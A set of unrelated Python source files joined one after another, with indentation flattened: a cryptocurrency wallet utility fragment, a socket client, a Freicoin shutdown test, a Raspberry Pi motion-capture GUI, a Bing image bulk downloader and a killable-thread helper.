if 'time' in out:
out['time'] = int(out['time'])
if 'exp' in out:
out['exp'] = int(out['exp'])
if 'sig' in out:
out['sig'] = bitcoin.base_decode(out['sig'], None, base=58).encode('hex')
r = out.get('r')
sig = out.get('sig')
name = out.get('name')
if r or (name and sig):
def get_payment_request_thread():
import paymentrequest as pr
if name and sig:
s = pr.serialize_request(out).SerializeToString()
request = pr.PaymentRequest(s)
else:
request = pr.get_payment_request(r)
on_pr(request)
t = threading.Thread(target=get_payment_request_thread)
t.setDaemon(True)
t.start()
return out
def create_URI(addr, amount, message):
import bitcoin
if not bitcoin.is_address(addr):
return ""
query = []
if amount:
query.append('amount=%s'%format_satoshis_plain(amount))
if message:
if type(message) == unicode:
message = message.encode('utf8')
query.append('message=%s'%urllib.quote(message))
p = urlparse.ParseResult(scheme='cypherfunk', netloc='', path=addr, params='', query='&'.join(query), fragment='')
return urlparse.urlunparse(p)
# Python bug (http://bugs.python.org/issue1927) causes raw_input
# to be redirected improperly between stdin/stderr on Unix systems
def raw_input(prompt=None):
if prompt:
sys.stdout.write(prompt)
return builtin_raw_input()
import __builtin__
builtin_raw_input = __builtin__.raw_input
__builtin__.raw_input = raw_input
def parse_json(message):
n = message.find('\n')
if n==-1:
return None, message
try:
j = json.loads( message[0:n] )
except:
j = None
return j, message[n+1:]
class timeout(Exception):
pass
import socket
import errno
import json
import ssl
import time
class SocketPipe:
def __init__(self, socket):
self.socket = socket
self.message = ''
self.set_timeout(0.1)
self.recv_time = time.time()
def set_timeout(self, t):
self.socket.settimeout(t)
def idle_time(self):
return time.time() - self.recv_time
def get(self):
while True:
response, self.message = parse_json(self.message)
if response is not None:
return response
try:
data = self.socket.recv(1024)
except socket.timeout:
raise timeout
except ssl.SSLError:
raise timeout
except socket.error, err:
if err.errno == 60:
raise timeout
elif err.errno in [11, 35, 10035]:
print_error("socket errno %d (resource temporarily unavailable)"% err.errno)
time.sleep(0.2)
raise timeout
else:
print_error("pipe: socket error", err)
data = ''
except:
traceback.print_exc(file=sys.stderr)
data = ''
if not data: # Connection closed remotely
return None
self.message += data
self.recv_time = time.time()
def send(self, request):
out = json.dumps(request) + '\n'
self._send(out)
def send_all(self, requests):
out = ''.join(map(lambda x: json.dumps(x) + '\n', requests))
self._send(out)
def _send(self, out):
while out:
try:
sent = self.socket.send(out)
out = out[sent:]
except ssl.SSLError as e:
print_error("SSLError:", e)
time.sleep(0.1)
continue
except socket.error as e:
if e[0] in (errno.EWOULDBLOCK,errno.EAGAIN):
print_error("EAGAIN: retrying")
time.sleep(0.1)
continue
elif e[0] in ['timed out', 'The write operation timed out']:
print_error("socket timeout, retry")
time.sleep(0.1)
continue
else:
traceback.print_exc(file=sys.stdout)
raise e
import Queue
class QueuePipe:
def __init__(self, send_queue=None, get_queue=None):
self.send_queue = send_queue if send_queue else Queue.Queue()
self.get_queue = get_queue if get_queue else Queue.Queue()
self.set_timeout(0.1)
def get(self):
try:
return self.get_queue.get(timeout=self.timeout)
except Queue.Empty:
raise timeout
def get_all(self):
responses = []
while True:
try:
r = self.get_queue.get_nowait()
responses.append(r)
except Queue.Empty:
break
return responses
def set_timeout(self, t):
self.timeout = t
def send(self, request):
self.send_queue.put(request)
def send_all(self, requests):
for request in requests:
self.send(request)
class StoreDict(dict):
def __init__(self, config, name):
self.config = config
self.path = os.path.join(self.config.path, name)
self.load()
def load(self):
try:
with open(self.path, 'r') as f:
self.update(json.loads(f.read()))
except:
pass
def save(self):
with open(self.path, 'w') as f:
s = json.dumps(self, indent=4, sort_keys=True)
r = f.write(s)
def __setitem__(self, key, value):
dict.__setitem__(self, key, value)
self.save()
def pop(self, key):
if key in self.keys():
dict.pop(self, key)
self.save()
def check_www_dir(rdir):
import urllib, urlparse, shutil, os
if not os.path.exists(rdir):
os.mkdir(rdir)
index = os.path.join(rdir, 'index.html')
if not os.path.exists(index):
print_error("copying index.html")
src = os.path.join(os.path.dirname(__file__), 'www', 'index.html')
shutil.copy(src, index)
files = [
"https://code.jquery.com/jquery-1.9.1.min.js",
"https://raw.githubusercontent.com/davidshimjs/qrcodejs/master/qrcode.js",
"https://code.jquery.com/ui/1.10.3/jquery-ui.js",
"https://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css"
]
for URL in files:
path = urlparse.urlsplit(URL).path
filename = os.path.basename(path)
path = os.path.join(rdir, filename)
if not os.path.exists(path):
print_error("downloading ", URL)
urllib.urlretrieve(URL, path)
|
socketClient.py | import time
import socket
import threading
import posix_ipc as ipc
import sys
ADDR = "192.168.11.2"
PORT = 20220
rq = ipc.MessageQueue('/socketClientReceiveQueue', ipc.O_CREAT)
sq = ipc.MessageQueue('/socketClientSendQueue', ipc.O_CREAT)
def recv(sock):
while True:
try:
data = sock.recv(1024)
if data == b'':
break
rq.send(data)
print(data)
except:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
break
print("close recv")
sys.exit()
def send(sock):
while True:
try:
if sq.current_messages:
data, pri = sq.receive()
sock.send(data)
except:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
break
print("close send")
sys.exit()
sock = socket.socket(socket.AF_INET)
sock.connect((ADDR, PORT))
pSend = threading.Thread(target=send, args=(sock, ))
pRecv = threading.Thread(target=recv, args=(sock, ))
pSend.start()
pRecv.start()
pSend.join()
pRecv.join()
|
feature_shutdown.py | #!/usr/bin/env python3
# Copyright (c) 2018 The Bitcoin Core developers
# Copyright (c) 2010-2021 The Freicoin Developers
#
# This program is free software: you can redistribute it and/or modify it under
# the terms of version 3 of the GNU Affero General Public License as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
"""Test freicoind shutdown."""
from test_framework.test_framework import FreicoinTestFramework
from test_framework.util import assert_equal, get_rpc_proxy, wait_until
from threading import Thread
def test_long_call(node):
block = node.waitfornewblock()
assert_equal(block['height'], 0)
class ShutdownTest(FreicoinTestFramework):
def set_test_params(self):
self.setup_clean_chain = True
self.num_nodes = 1
def run_test(self):
node = get_rpc_proxy(self.nodes[0].url, 1, timeout=600, coveragedir=self.nodes[0].coverage_dir)
# Force connection establishment by executing a dummy command.
node.getblockcount()
Thread(target=test_long_call, args=(node,)).start()
# Wait until the server is executing the above `waitfornewblock`.
wait_until(lambda: len(self.nodes[0].getrpcinfo()['active_commands']) == 2)
# Wait 1 second after requesting shutdown but not before the `stop` call
# finishes. This is to ensure event loop waits for current connections
# to close.
self.stop_node(0, wait=1000)
if __name__ == '__main__':
ShutdownTest().main()
|
masterControllerGUI.py | import tkinter as tk
import os
import sys
import time
import math
import pickle
import threading
import concurrent.futures
import cameraTrigger
import cameraCalibration as cc
import mocapSolver as solver
import firebase_admin
from firebase_admin import credentials
from firebase_admin import firestore
from firebase_admin import storage
STORAGE = r"F:\mocapMath\Sandbox\rpi"
HOSTS = ["blueTriangle", "greenTriangle"]
# Use a service account
cred = credentials.Certificate('secret/raspberryPi.json')
firebase_admin.initialize_app(cred, {'storageBucket': 'mocapboston.appspot.com'})
firestoreDatabase = firestore.client()
COLLECTION = firestoreDatabase.collection(u'dev')
BUCKET = storage.bucket()
class buttonInput:
def __init__(self, GUI):
self.GUI = GUI
def rPiBinding(self):
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(17, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(22, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(27, GPIO.IN, pull_up_down=GPIO.PUD_UP)
edge = GPIO.FALLING
GPIO.add_event_detect(17, edge, self.GUI.button1, 250)
GPIO.add_event_detect(22, edge, self.GUI.button2, 250)
GPIO.add_event_detect(23, edge, self.GUI.button3, 250)
GPIO.add_event_detect(27, edge, self.GUI.button4, 250)
def kbBinding(self):
self.GUI.master.bind('1', self.GUI.button1)
self.GUI.master.bind('2', self.GUI.button2)
self.GUI.master.bind('3', self.GUI.button3)
self.GUI.master.bind('4', self.GUI.button4)
class cameraSetting:
def __init__(self, setting, options, display):
self.property = setting
self.options = options
self.display = display
self.index = 0
def advance(self):
"""Changes the active selection."""
self.labels[self.index]['fg'] = 'black'
self.index += 1
if self.index >= len(self.options):
self.index = 0
self.labels[self.index]['fg'] = 'red'
def get(self):
"""Returns the activly selected option."""
return self.options[self.index]
def drawUI(self, master, row):
"""Creates the GUI for the camera setting in the specified row."""
self.container = tk.Frame(master)
self.grid = tk.Frame(self.container)
header = tk.Label(self.grid, text=self.property, font=("Helvetica", 16))
self.grid.grid_rowconfigure(0, minsize=30)
header.grid(row=0, column=0, columnspan=len(self.options))
self.labels = []
self.grid.grid_rowconfigure(1, minsize=75)
for i, display in enumerate(self.display):
newOption = tk.Label(self.grid, text=display, font=("Helvetica", 30), fg="black")
newOption.grid(row=1, column=i)
self.grid.grid_columnconfigure(i, minsize=640/len(self.options))
self.labels.append(newOption)
self.labels[self.index]['fg'] = 'red'
self.grid.pack(fill="both", expand=1)
self.container.place(width=640, height=105, y=(60 + (row - 1) * 105))
def destroy(self):
self.container.destroy()
class camera:
def __init__(self, cameraName):
self.cameraPath = os.path.join(STORAGE, cameraName)
self.cameraName = cameraName
if os.path.isfile(os.path.join(self.cameraPath, "lens.npz")):
self.matrix, self.distortion, self.fov = cc.importCalibration(os.path.join(self.cameraPath, "lens.npz"))
self.lens = True
else:
self.lens = False
if os.path.isfile(os.path.join(self.cameraPath, "world.camera")):
with open(os.path.join(self.cameraPath, "world.camera"), "rb") as data:
self.position, self.rotation = pickle.load(data)
self.world = True
print(cameraName)
print(self.position)
print(self.rotation)
else:
self.world = False
def isReady(self):
if self.world and self.lens:
return True
else:
return False
def moveLensFile(self):
os.rename(os.path.join(self.cameraPath, "lens.npz"), os.path.join(self.cameraPath, "lens", "lens-{}.npz".format(cameraTrigger.generateSession())))
def moveWorldFile(self):
os.rename(os.path.join(self.cameraPath, "world.camera"), os.path.join(self.cameraPath, "world", "world-{}.camera".format(cameraTrigger.generateSession())))
def writeNewLensFile(self, matrix, distortion, fov):
if self.lens:
self.moveLensFile()
self.matrix = matrix
self.distortion = distortion
self.fov = fov
cc.exportCalibration(os.path.join(self.cameraPath, "lens"), matrix, distortion, fov)
self.lens = True
def writeNewWorldFile(self, position, rotation):
if self.world:
self.moveWorldFile()
self.position = position
self.rotation = (rotation[0] + math.pi, rotation[1], rotation[2])
with open(os.path.join(self.cameraPath, "world.camera"), "wb") as data:
payload = (self.position, self.rotation)
pickle.dump(payload, data)
self.world = True
print("\n{} World Calibration:".format(self.cameraName))
print("Position: {}".format(self.position))
print("Rotation: {}\n".format(self.rotation))
def getProperties(self):
return (self.position[0], self.position[1], self.position[2], self.rotation[0], self.rotation[1], self.rotation[2], self.fov[0], self.fov[1])
class serverGUI:
def __init__(self, master):
self.master = master
master.title("mocapBoston")
master.minsize(width=640, height=480)
master.maxsize(width=640, height=480)
self.title = titleBar(master, "mocapBoston")
self.drawMainMenu()
# Configure Camera Capture Settings
self.shutter = cameraSetting("Shutter Speed", [0, 16000, 8000, 4000, 2000, 1000], ["auto", "60", "125", "250", "500", "1K"])
self.iso = cameraSetting("ISO", [0, 100, 200, 400, 800], ["auto", "100", "200", "400", "800"])
self.fps = cameraSetting("Recording Frame Rate", [24, 18, 15, 12, 6, 3], ["24", "18", "15", "12", "6", "3"])
self.awbMode = cameraSetting("AWB Mode", ["auto", "tungsten", "fluorescent", "sun"], ["auto", "tungsten", "f-scent", "sun"])
self.maxTime = cameraSetting("Record Duration", [30, 15, 10, 5, 1], ["30", "15", "10", "5", "1"])
self.pattern = cameraSetting("Calibration Pattern", ["6-4-", "9-7-"], ["6x4", "9x7"])
self.cameraSelect = cameraSetting("Camera Selection", [0, 1, 2, 3], ["blueTri", "greenTri", "redY", "cyanY"])
# Setup Inputs, Configured to Allow non-RPi Debugging via Keyboard
self.interface = buttonInput(self)
try:
self.interface.rPiBinding()
except ModuleNotFoundError:
print("RPI GPIO Inputs weren't detected.")
finally:
self.interface.kbBinding()
# Configure Camera Calibrations
self.cameras = []
for client in HOSTS:
self.cameras.append(camera(client))
# Attach World Calibration Pattern
self.worldPattern = cc.importMarkerPlacement(os.path.join(STORAGE, "worldPattern.txt"))
def drawMainMenu(self):
self.recording = buttonTitleBar(self.master, "Recording", "#FF6259", 1)
self.lens = buttonTitleBar(self.master, "Lens Calibration", "#FF62E0", 2)
self.worldOrient = buttonTitleBar(self.master, "World Orientation", "#86FF78", 3)
self.settings = buttonTitleBar(self.master, "Camera Settings", "#80BEBF", 4)
self.screen = "main"
def destroyMainMenu(self):
self.recording.destroy()
self.lens.destroy()
self.worldOrient.destroy()
self.settings.destroy()
def drawShutterISO(self):
self.back = buttonTitleBar(self.master, "Return to the Menu", "grey", 1)
self.shutter.drawUI(self.master, 2)
self.iso.drawUI(self.master, 3)
self.next = buttonTitleBar(self.master, "More Settings", "grey", 4)
self.screen = "shutterISO"
def destroyShutterISO(self):
self.back.destroy()
self.shutter.destroy()
self.iso.destroy()
self.next.destroy()
def drawFPStime(self):
self.back = buttonTitleBar(self.master, "Return to the Menu", "grey", 1)
self.fps.drawUI(self.master, 2)
self.maxTime.drawUI(self.master, 3)
self.next = buttonTitleBar(self.master, "More Settings", "grey", 4)
self.screen = "FPStime"
def destroyFPStime(self):
self.back.destroy()
self.fps.destroy()
self.maxTime.destroy()
self.next.destroy()
def drawAWBshutdown(self):
self.back = buttonTitleBar(self.master, "Return to the Menu", "grey", 1)
self.awbMode.drawUI(self.master, 2)
self.shutdown = buttonTitleBar(self.master, "Shutdown Clients", "#FF62E0", 3)
self.exit = buttonTitleBar(self.master, "Exit", "#FF6259", 4)
self.screen = "AWBshutdown"
def destroyAWBshutdown(self):
self.back.destroy()
self.awbMode.destroy()
self.shutdown.destroy()
self.exit.destroy()
def drawRecording(self):
self.back = buttonTitleBar(self.master, "Return to the Menu", "grey", 1)
self.start = buttonTitleBar(self.master, "Start Capture", "#FF6259", 4)
self.screen = "Recording"
def destroyRecording(self):
self.back.destroy()
self.start.destroy()
def initFirebaseDoc(self):
self.document = COLLECTION.document(self.sessionID.lower())
self.document.set({
u'firstVisit': False,
u'galleryVisible': False,
u'gifID': u'ClosedBrilliantGermanwirehairedpointer',
u'processed': False,
u'shareAnswer': False,
u'solved': False
})
def startCapture(self):
# Draw UI
self.sessionID = cameraTrigger.generateSession()
self.initFirebaseDoc()
self.session = cameraSetting("Session ID", [self.sessionID], [self.sessionID])
self.session.drawUI(self.master, 1)
self.status = cameraSetting("Status", ["Recording", "Processing", "Solving"], ["Recording", "Processing", "Solving"])
self.status.drawUI(self.master, 2)
self.timer = statusTimer(self.master, "Time Elapsed", 3)
self.screen = "Capture"
# Start Capture Process
self.captureExecutor = concurrent.futures.ThreadPoolExecutor()
self.captureFuture = self.captureExecutor.submit(cameraTrigger.remoteCapture, self.sessionID, (self.status, self.timer),
still=False, ip=-1, resolution=(1632, 1232), fps=self.fps.get(),
max_recording=self.maxTime.get(), iso=self.iso.get(), shutter=self.shutter.get(),
awb_mode=self.awbMode.get())
self.captureFuture.add_done_callback(self.finishedCapture)
def finishedCapture(self, future):
self.captureDirectory = future.result()
self.timer.reset()
# Redraw UI
self.timer.reset()
killer = False
def statusCounter(status):
while True:
time.sleep(1)
status.addSecond()
nonlocal killer
if killer:
break
# Start Recording Timer
timeThread = threading.Thread(target=statusCounter, args=(self.timer,))
timeThread.start()
markers = []
cameras = []
length = 10000
for mocap in os.listdir(self.captureDirectory):
cameraID = mocap.split("_")[0]
cameraIndex = HOSTS.index(cameraID)
cam = self.cameras[cameraIndex]
cameras.append(cam)
mocapFile = os.path.join(self.captureDirectory, mocap)
with open(mocapFile, "rb") as binary:
marker = pickle.load(binary)
markers.append(marker)
if len(marker) < length:
length = len(marker)
frame = 0
self.solved = []
while frame < length:
persp = []
for i, angle in enumerate(markers):
camProps = cameras[i].getProperties()
persp.append((angle[frame], camProps))
self.solved.append(solver.solveFrame(*persp))
frame += 1
# Post Processing
with open(os.path.join(self.captureDirectory, "solve.mocap"), "wb") as data:
pickle.dump(self.solved, data)
self.blob = BUCKET.blob(self.sessionID.lower())
with open(os.path.join(self.captureDirectory, "solve.mocap"), "rb") as data:
self.blob.upload_from_file(data)
self.document.set({u'solved' : True}, merge=True)
# UI Cleanup
killer = True
timeThread.join()
self.status.destroy()
self.timer.destroy()
self.start = buttonTitleBar(self.master, "New Capture", "#FF6259", 4)
self.screen = "finishedCapture"
def lensCapture(self):
self.back = buttonTitleBar(self.master, "Return to the Menu", "grey", 1)
self.cameraSelect.drawUI(self.master, 2)
self.pattern.drawUI(self.master, 3)
self.start = buttonTitleBar(self.master, "Start Lens Calibration", "#FF62E0", 4)
self.screen = "LensCapture"
def destroyLensCapture(self):
self.back.destroy()
self.cameraSelect.destroy()
self.pattern.destroy()
self.start.destroy()
def runLensCapture(self):
# Draw UI
self.sessionID = self.pattern.get() + cameraTrigger.generateSession()
self.session = cameraSetting("Session ID", [self.sessionID], [self.sessionID])
self.session.drawUI(self.master, 1)
self.status = cameraSetting("Status", ["Recording", "Processing"], ["Recording", "Processing"])
self.status.drawUI(self.master, 2)
self.timer = statusTimer(self.master, "Time Elapsed", 3)
self.screen = "runLensCapture"
# Start Lens Capture Process
self.lensCaptureExecutor = concurrent.futures.ThreadPoolExecutor()
self.lensCaptureFuture = self.lensCaptureExecutor.submit(cameraTrigger.remoteCapture, self.sessionID, (self.status, self.timer),
still=False, ip=self.cameraSelect.get(), resolution=(1632, 1232), fps=self.fps.get(),
max_recording=self.maxTime.get(), iso=self.iso.get(), shutter=self.shutter.get(),
awb_mode=self.awbMode.get())
self.lensCaptureFuture.add_done_callback(self.finishedLensCapture)
def finishedLensCapture(self, future):
lensCaptureDirectory = future.result()
# Redraw Relevant UI
self.status.destroy()
self.timer.destroy()
# Save Lens Calibration into Camera Class
for calibration in os.listdir(lensCaptureDirectory):
path = os.path.join(lensCaptureDirectory, calibration)
matrix, distortion, fov = cc.importCalibration(path)
self.cameras[self.cameraSelect.get()].writeNewLensFile(matrix, distortion, fov)
break
self.restart = buttonTitleBar(self.master, "New Lens Calibration", "#FF62E0", 4)
self.screen = "endLensCapture"
def worldOrientation(self):
self.back = buttonTitleBar(self.master, "Return to the Menu", "grey", 1)
self.start = buttonTitleBar(self.master, "Start World Orientation", "#86FF78", 4)
self.screen = "worldOrient"
def destoryWorldOrientation(self):
self.back.destroy()
self.start.destroy()
def runWorldOrientation(self):
self.sessionID = cameraTrigger.generateSession()
self.session = cameraSetting("Session ID", [self.sessionID], [self.sessionID])
self.session.drawUI(self.master, 1)
self.status = cameraSetting("Status", ["Recording", "Processing", "Solving"], ["Recording", "Processing", "Solving"])
self.status.drawUI(self.master, 2)
self.timer = statusTimer(self.master, "Time Elapsed", 3)
self.screen = "runWorldOrient"
self.worldOrientExecutor = concurrent.futures.ThreadPoolExecutor()
self.worldOrientFuture = self.worldOrientExecutor.submit(cameraTrigger.remoteCapture, self.sessionID, (self.status, self.timer),
still=False, ip=-1, resolution=(1632, 1232), fps=10,
max_recording=5, iso=self.iso.get(), shutter=self.shutter.get(),
awb_mode=self.awbMode.get())
self.worldOrientFuture.add_done_callback(self.finishedWorldOrient)
def finishedWorldOrient(self, future):
self.worldMarkersDir = future.result()
# Redraw UI
self.timer.reset()
killer = False
def statusCounter(status):
while True:
time.sleep(1)
status.addSecond()
nonlocal killer
if killer:
break
# Start Recording Timer
timeThread = threading.Thread(target=statusCounter, args=(self.timer,))
timeThread.start()
for mocap in os.listdir(self.worldMarkersDir):
cameraID = mocap.split("_")[0]
cameraIndex = HOSTS.index(cameraID)
cam = self.cameras[cameraIndex]
mocapFile = os.path.join(self.worldMarkersDir, mocap)
with open(mocapFile, "rb") as binary:
markers = pickle.load(binary)
imagePoints, objectPoints = cc.correlatePlacementWithDetection(self.worldPattern, markers[25])
position, rotation = cc.solveCamera(cam.matrix, cam.distortion, imagePoints, objectPoints)
cam.writeNewWorldFile(position, rotation)
killer = True
timeThread.join()
self.timer.destroy()
self.status.destroy()
self.back = buttonTitleBar(self.master, "Back to Menu", "#86FF78", 4)
self.screen = "endWorldOrient"
def destroyEndWorldOrient(self):
self.back.destroy()
self.session.destroy()
def button1(self, pin):
if self.screen == "shutterISO":
self.destroyShutterISO()
self.drawMainMenu()
elif self.screen == "FPStime":
self.destroyFPStime()
self.drawMainMenu()
elif self.screen == "main":
self.destroyMainMenu()
self.drawRecording()
elif self.screen == "Recording":
self.destroyRecording()
self.drawMainMenu()
elif self.screen == "LensCapture":
self.destroyLensCapture()
self.drawMainMenu()
elif self.screen == "AWBshutdown":
self.destroyAWBshutdown()
self.drawMainMenu()
elif self.screen == "worldOrient":
self.destoryWorldOrientation()
self.drawMainMenu()
def button2(self, pin):
if self.screen == "shutterISO":
self.shutter.advance()
elif self.screen == "FPStime":
self.fps.advance()
elif self.screen == "main":
self.destroyMainMenu()
self.lensCapture()
elif self.screen == "LensCapture":
self.cameraSelect.advance()
elif self.screen == "AWBshutdown":
self.awbMode.advance()
def button3(self, pin):
if self.screen == "shutterISO":
self.iso.advance()
elif self.screen == "FPStime":
self.maxTime.advance()
elif self.screen == "LensCapture":
self.pattern.advance()
elif self.screen == "AWBshutdown":
cameraTrigger.shutdown()
elif self.screen == "main":
self.destroyMainMenu()
self.worldOrientation()
def button4(self, pin):
if self.screen == "main":
self.destroyMainMenu()
self.drawShutterISO()
elif self.screen == "shutterISO":
self.destroyShutterISO()
self.drawFPStime()
elif self.screen == "FPStime":
self.destroyFPStime()
self.drawAWBshutdown()
elif self.screen == "AWBshutdown":
sys.exit()
elif self.screen == "Recording":
self.destroyRecording()
self.startCapture()
elif self.screen == "LensCapture":
self.destroyLensCapture()
self.runLensCapture()
elif self.screen == "endLensCapture":
self.lensCaptureExecutor.shutdown()
self.session.destroy()
self.restart.destroy()
self.lensCapture()
elif self.screen == "endWorldOrient":
self.worldOrientExecutor.shutdown()
self.destroyEndWorldOrient()
self.drawMainMenu()
elif self.screen == "worldOrient":
self.destoryWorldOrientation()
self.runWorldOrientation()
elif self.screen == "finishedCapture":
self.captureExecutor.shutdown()
self.session.destroy()
self.start.destroy()
self.drawRecording()
class titleBar:
def __init__(self, master, title):
self.container = tk.Frame(master)
self.title = title
self.header = tk.Label(self.container, bg="black", text=self.title, font=("Helvetica", 16), fg="white")
self.header.pack(fill="both", expand=1)
self.container.place(width=640, height=60)
class buttonTitleBar:
def __init__(self, master, title, color, row):
self.container = tk.Frame(master)
self.text = title
self.header = tk.Label(self.container, bg=color, text=self.text, font=("Helvetica", 30))
self.header.pack(fill="both", expand=1)
self.container.place(width=640, height=105, y=(60 + (row - 1) * 105))
def destroy(self):
self.container.destroy()
class statusTimer:
def __init__(self, master, title, row):
self.container = tk.Frame(master)
self.grid = tk.Frame(self.container)
# Small Header
header = tk.Label(self.grid, text=title, font=("Helvetica", 16))
self.grid.grid_rowconfigure(0, minsize=30)
self.grid.grid_columnconfigure(0, minsize=640)
header.grid(row=0, column=0)
# Timer Variables
self.display = tk.StringVar()
self.display.set("Not Started")
self.elapsed = 0
# Timer Display
self.grid.grid_rowconfigure(1, minsize=75)
self.timer = tk.Label(self.grid, textvariable=self.display, font=("Helvetica", 30), fg="black")
self.timer.grid(row=1, column=0)
# Place Widgets
self.grid.pack(fill="both", expand=1)
self.container.place(width=640, height=105, y=(60 + (row - 1) * 105))
def destroy(self):
self.container.destroy()
def addSecond(self):
self.elapsed += 1
seconds = self.elapsed % 60
minutes = self.elapsed // 60
if minutes < 1:
self.display.set("{}".format(seconds))
return None
self.display.set("{}:{:02d}".format(minutes, seconds))
def reset(self):
self.elapsed = -1
root = tk.Tk()
gui = serverGUI(root)
try:
root.attributes('-fullscreen', True)
except tk.TclError:
print("Couldn't Enter Fullscreen")
root.mainloop()
|
bbid.py | # Modification: 7/17/2019
# by: Seth Juarez (Microsoft)
# changes: This code has been modified from the original (https://github.com/ostrolucky/Bulk-Bing-Image-downloader).
# Moved bulk '__main__' code to a separate function in order to make it easily callable from other
# python programs. No functional changes were made otherwise.
#
# see: fetch_images function
#!/usr/bin/env python3
import os, urllib.request, re, threading, posixpath, urllib.parse, argparse, socket, time, hashlib, pickle, signal, imghdr
#config
output_dir = './bing' #default output dir
adult_filter = True #Do not disable adult filter by default
socket.setdefaulttimeout(2)
in_progress = tried_urls = []
image_md5s = {}
urlopenheader={ 'User-Agent' : 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0'}
def download(pool_sema: threading.Semaphore, url: str, output_dir: str):
if url in tried_urls:
return
pool_sema.acquire()
path = urllib.parse.urlsplit(url).path
filename = posixpath.basename(path).split('?')[0] #Strip GET parameters from filename
name, ext = os.path.splitext(filename)
name = name[:36]
filename = name + ext
i = 0
while os.path.exists(os.path.join(output_dir, filename)) or filename in in_progress:
i += 1
filename = "%s-%d%s" % (name, i, ext)
in_progress.append(filename)
try:
request=urllib.request.Request(url,None,urlopenheader)
image=urllib.request.urlopen(request).read()
if not imghdr.what(None, image):
print('FAIL: Invalid image, not saving ' + filename)
return
md5_key = hashlib.md5(image).hexdigest()
if md5_key in image_md5s:
print('FAIL: Image is a duplicate of ' + image_md5s[md5_key] + ', not saving ' + filename)
return
image_md5s[md5_key] = filename
imagefile=open(os.path.join(output_dir, filename),'wb')
imagefile.write(image)
imagefile.close()
print("OK: " + filename)
tried_urls.append(url)
except Exception as e:
print("FAIL: " + filename)
finally:
in_progress.remove(filename)
pool_sema.release()
def fetch_images_from_keyword(pool_sema: threading.Semaphore, keyword: str, output_dir: str, filters: str, limit: int, adlt: str):
current = 0
last = ''
while True:
request_url='https://www.bing.com/images/async?q=' + urllib.parse.quote_plus(keyword) + '&first=' + str(current) + '&count=35&adlt=' + adlt + '&qft=' + ('' if filters is None else filters)
retry = 5
response = None
while retry > 0:
try:
request=urllib.request.Request(request_url,None,headers=urlopenheader)
response=urllib.request.urlopen(request)
break
except:
retry -= 1
print('Error fetching {}'.format(request_url))
print('Retries left: {}'.format(retry))
html = response.read().decode('utf8')
links = re.findall('murl":"(.*?)"',html)
try:
if links[-1] == last:
return
for index, link in enumerate(links):
if limit is not None and current + index >= limit:
return
t = threading.Thread(target=download, name='bbid', args=(pool_sema, link, output_dir))
t.start()
current += 1
last = links[-1]
except IndexError:
print('No search results for "{0}"'.format(keyword))
return
time.sleep(0.1)
def backup_history(*args):
download_history = open(os.path.join(output_dir, 'download_history.pickle'), 'wb')
pickle.dump(tried_urls,download_history)
copied_image_md5s = dict(image_md5s) #We are working with the copy, because length of input variable for pickle must not be changed during dumping
pickle.dump(copied_image_md5s, download_history)
download_history.close()
print('history_dumped')
if args:
exit(0)
def fetch_images(adult_filter_off=False, adult_filter_on=False, filters=None, limit=None, output=None, search_file=None, search_string=None, threads=20):
if (not search_string) and (not search_file):
raise Exception('Provide Either search string or path to file containing search strings')
if output:
output_dir = output
if not os.path.exists(output_dir):
os.makedirs(output_dir)
output_dir_origin = output_dir
signal.signal(signal.SIGINT, backup_history)
try:
download_history = open(os.path.join(output_dir, 'download_history.pickle'), 'rb')
tried_urls=pickle.load(download_history)
image_md5s=pickle.load(download_history)
download_history.close()
except (OSError, IOError):
tried_urls=[]
if adult_filter:
adlt = ''
else:
adlt = 'off'
if adult_filter_off:
adlt = 'off'
elif adult_filter_on:
adlt = ''
pool_sema = threading.BoundedSemaphore(threads)
if search_string:
fetch_images_from_keyword(pool_sema, search_string,output_dir, filters, limit, adlt)
elif search_file:
try:
inputFile=open(search_file)
except (OSError, IOError):
print("Couldn't open file {}".format(search_file))
exit(1)
for keyword in inputFile.readlines():
output_sub_dir = os.path.join(output_dir_origin, keyword.strip().replace(' ', '_'))
if not os.path.exists(output_sub_dir):
os.makedirs(output_sub_dir)
fetch_images_from_keyword(pool_sema, keyword,output_sub_dir, filters, limit, adlt)
backup_history()
inputFile.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description = 'Bing image bulk downloader')
parser.add_argument('-s', '--search-string', help = 'Keyword to search', required = False)
parser.add_argument('-f', '--search-file', help = 'Path to a file containing search strings line by line', required = False)
parser.add_argument('-o', '--output', help = 'Output directory', required = False)
parser.add_argument('--adult-filter-on', help ='Enable adult filter', action = 'store_true', required = False)
parser.add_argument('--adult-filter-off', help = 'Disable adult filter', action = 'store_true', required = False)
parser.add_argument('--filters', help = 'Any query based filters you want to append when searching for images, e.g. +filterui:license-L1', required = False)
parser.add_argument('--limit', help = 'Make sure not to search for more than specified amount of images.', required = False, type = int)
parser.add_argument('--threads', help = 'Number of threads', type = int, default = 20)
args = parser.parse_args()
fetch_images(**vars(args))
|
threading_timeout_dec.py | # -*- coding: utf-8 -*-
import sys
import threading
class TimeoutError(Exception):
pass
class KThread(threading.Thread):
"""A subclass of threading.Thread, with a kill()
method.
Come from:
Kill a thread in Python:
http://mail.python.org/pipermail/python-list/2004-May/260937.html
"""
def __init__(self, *args, **kwargs):
threading.Thread.__init__(self, *args, **kwargs)
self.killed = False
def start(self):
"""Start the thread."""
self.__run_backup = self.run
self.run = self.__run # Force the Thread to install our trace.
threading.Thread.start(self)
def __run(self):
"""Hacked run function, which installs the
trace."""
sys.settrace(self.globaltrace)
self.__run_backup()
self.run = self.__run_backup
def globaltrace(self, frame, why, arg):
if why == 'call':
return self.localtrace
else:
return None
def localtrace(self, frame, why, arg):
if self.killed:
if why == 'line':
raise SystemExit()
return self.localtrace
def kill(self):
self.killed = True
